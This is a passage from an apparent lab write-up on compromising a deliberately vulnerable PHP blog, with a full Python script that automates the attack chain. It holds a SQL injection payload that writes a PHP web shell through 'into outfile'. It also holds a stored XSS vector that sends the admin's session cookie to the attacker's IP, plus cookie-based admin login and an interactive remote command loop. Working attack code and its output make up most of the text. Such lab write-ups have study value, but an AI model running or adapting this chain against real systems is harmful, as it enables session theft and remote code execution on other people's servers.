**OUTPUT**

```
root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  lol.php  style.css
root@debian:/var/www/css# cat lol.php 
1       hello sarthak   3       4
root@debian:/var/www/css#
```

It is weird to see 1,3,4 to be written to the file but no problem we can work around it to create a php based shell...

```
PAYLOAD:-union select "<?php","system($_GET['c']);","?>",";" into outfile "/var/www/css/lol.php"%23
```

This would do our work hehe :)<br>

![Upload Successful after updating the payload
](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-11ee28e40cd945796db1ded4dece658593a7eecc%2FSelection_014.png?alt=media)

**OUTPUT**

```
root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  lol.php  style.css
root@debian:/var/www/css# cat lol.php 
<?php   system($_GET['c']);     ?>      ;
root@debian:/var/www/css# 
```

#### RCE achieved<br>

![Remote Code Execution Successful](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-ad33358cbeb37b784cac1755f0a97719a21fa5f3%2FSelection_015.png?alt=media)

And yes finally we got rce so let's try to update our script and automate everything upto shell...

**RECAP** We got the cookie from the admin and now we will make function `login_admin()` to login by the session cookie

\*\*login\_admin() function

```python
def login_admin(cookie):
    url=target_url+"admin/index.php"
    cookie="PHPSESSID={}".format(cookie)
    head={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': cookie}

    proxy={'http':'127.0.0.1:8080'}
    a=r.get(url,headers=head)
    if a.text.find("Administration of my Blog"):
        print("[+] Login Successful")
        shell_upload(r,head)
    else:
        print("[-] Login Failed")
        sys.exit()
```

So here this function took cookie as argument and created custom headers (**Important:- I tried to just pass cookie directly but it doesn't work like that idk why lol so i just intercepted that process with burp and duplicate the headers**)

And you might notice that `proxy` that is for me to catch my request from my script in burp so that i can analyse and make changes...

So we sent everything and tested if we got `Administration of my Blog` in response or not because this heading appears when we login as admin so after that `shell_upload` function is invoked to upload our shell...

**shell\_upload function**

```python
def shell_upload(r,head):
    url=target_url+"admin/edit.php?id=-1%20union%20select%20\"<?php\",\"system($_GET[%27c%27]);\",\"?>\",\";\"%20into%20outfile%20\"/var/www/css/lol.php\"%23"
    #url=target_url+"admin/"
    r.get(url,headers=head)
    shell_url=url+"css/lol.php"
    test=r.get(shell_url,headers=head)
    if test.text.find("Notice: Undefined index:"):
        print("[+] Shell uploaded")
        shell_interact(r,head)
    else:
        print("[-] Shell upload failed")
        sys.exit()
```

Here we just uploaded the shell as we did in browser but with requests and all the headers so after sending everything we checked by opening the shell without `c` parameter which always gives output which had `Notice: Undefined index:` in it \</br/> ![](broken://files/za1gqqHyIJl0mJ4mHXt6)<br>

After that `shell_interact` function is invoked

**shell\_interact**

```python
def shell_interact(r,head):
    proxy={'http':'127.0.0.1:8080'}
    shell_url=target_url+"css/lol.php"
    while True:
        cmd=input("cmd>")
        if cmd=="exit":
            url=shell_url+"?c=rm lol.php"
            r.get(url)
            sys.exit()
        else:
            url=shell_url+"?c={}".format(cmd)
        print(r.get(url,headers=head).text.replace(";",""))
```

This will just take input in `cmd` variable and execute it on server by `lol.php` and give us output after some cleaning ...

#### Final Script

```python
import requests
import re
import socket
from random import randint
import sys
import os

r=requests.Session()

target_url="http://192.168.0.5/"

attacker_ip="192.168.0.9"  # FOR xss

os.system("clear")

def trigger():
    print("[+] Creating xss vector")
    port=randint(5000,9000)
    vector="<script>document.location='http://{}:{}/' +escape(document.cookie)</script>".format(attacker_ip,port)
    print("[+] Sending xss vector")
    sender(vector,port)



def servers(port):
    HOST = ''
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, port))
        s.listen(1)
        conn, addr = s.accept()
        with conn:
            m=conn.recv(2048)
            print("[+] xss triggered capturing cookies to login")
            out=re.findall("PHPSESSID\%3D.*HTTP",m.decode('utf-8'))
            out=out[0].replace("PHPSESSID%3D","").replace("HTTP","")
            return (out.replace("\n","").replace("\t",""))


def sender(xss,port):
    url=target_url+"post_comment.php?id=1"
    data={'title':'lolzz','author':'aaa','text': xss,'submit':'Submit'}
    proxy={'http':'127.0.0.1:8080'}
    out=r.post(url,data=data)
    if out.status_code==200:
        print("[+] xss payload sent Successful")
        cookie=servers(port)
        login_admin(cookie)

def login_admin(cookie):
    url=target_url+"admin/index.php"
    cookie="PHPSESSID={}".format(cookie)
    head={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': cookie}

    proxy={'http':'127.0.0.1:8080'}
    a=r.get(url,headers=head)
    if a.text.find("Administration of my Blog"):
        print("[+] Login Successful")
        shell_upload(r,head)
    else:
        print("[-] Login Failed")
        sys.exit()

def shell_upload(r,head):

    url=target_url+"admin/edit.php?id=-1%20union%20select%20\"<?php\",\"system($_GET[%27c%27]);\",\"?>\",\";\"%20into%20outfile%20\"/var/www/css/lol.php\"%23"
    #url=target_url+"admin/"
    r.get(url,headers=head)
    shell_url=url+"css/lol.php"
    test=r.get(shell_url,headers=head)
    if test.text.find("Notice: Undefined index:"):
        print("[+] Shell uploaded")
        shell_interact(r,head)
    else:
        print("[-] Shell upload failed")
        sys.exit()

def shell_interact(r,head):
    proxy={'http':'127.0.0.1:8080'}
    shell_url=target_url+"css/lol.php"
    while True:
        cmd=input("cmd>")
        if cmd=="exit":
            url=shell_url+"?c=rm lol.php"
            r.get(url)
            sys.exit()
        else:
            url=shell_url+"?c={}".format(cmd)
        print(r.get(url,headers=head).text.replace(";",""))

trigger()
```

## NOTE

But before demo you must be wondering how will admin login so after i did some digging on the os i found a cronjob...

```
root@debian:/var/www/css# crontab -l
* * * * * /root/victim.sh
```

**victim.sh**

```bash
#!/bin/sh

/opt/phantomjs-1.9.1/bin/phantomjs /opt/phantomjs-1.9.1/victime.js
```

and by checking the victime.js

**victime.js**

```javascript
// The purpose of this is to show how and when events fire, considering 5 steps
// happening as follows:
//

var sys = require("system"),
    page = require("webpage").create(),
    logResources = false,
    base = "http://127.0.0.1";



////////////////////////////////////////////////////////////////////////////////

// window.alert(msg);
page.onAlert = function() {
    console.log("\talert() called");
};
// var confirmed = window.confirm(msg);
page.onConfirm = function() {
    console.log("\tconfirm() called");
};
// var user_value = window.prompt(msg, default_value);
page.onPrompt = function() {
    console.log("\tprompt() callled");
};

////////////////////////////////////////////////////////////////////////////////

setTimeout(function() {
    console.log("#### Loading login page");
    page.open(base+"/admin/login.php", function() {;
        var results = page.evaluate(function () {
            document.querySelector('input[name=user]').value = 'admin';
            document.querySelector('input[name=password]').value = 'P4ssw0rd'
            document.querySelector('form').submit();
        });
    });
}, 0);

setTimeout(function() {
    console.log("#### Visit post 1");
    page.open(base+"/post.php?id=1");
}, 2000);

setTimeout(function() {
    console.log("#### Visit post 2");
    page.open(base+"/post.php?id=2");
}, 4000);

setTimeout(function() {
    console.log("#### Closing down");
    page.close();
    setTimeout(function(){
        phantom.exit();
    }, 100);
}, 7000);
```

So this is how admin would be impersonated

### Demo

![Proof Of Concept Automated](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-44b2117716ef7e18c0f8d4195550df81cf19ab7c%2Fdemo.gif?alt=media)

\
I hope you guys would like this article ... i will post more as soon as i get more time :)


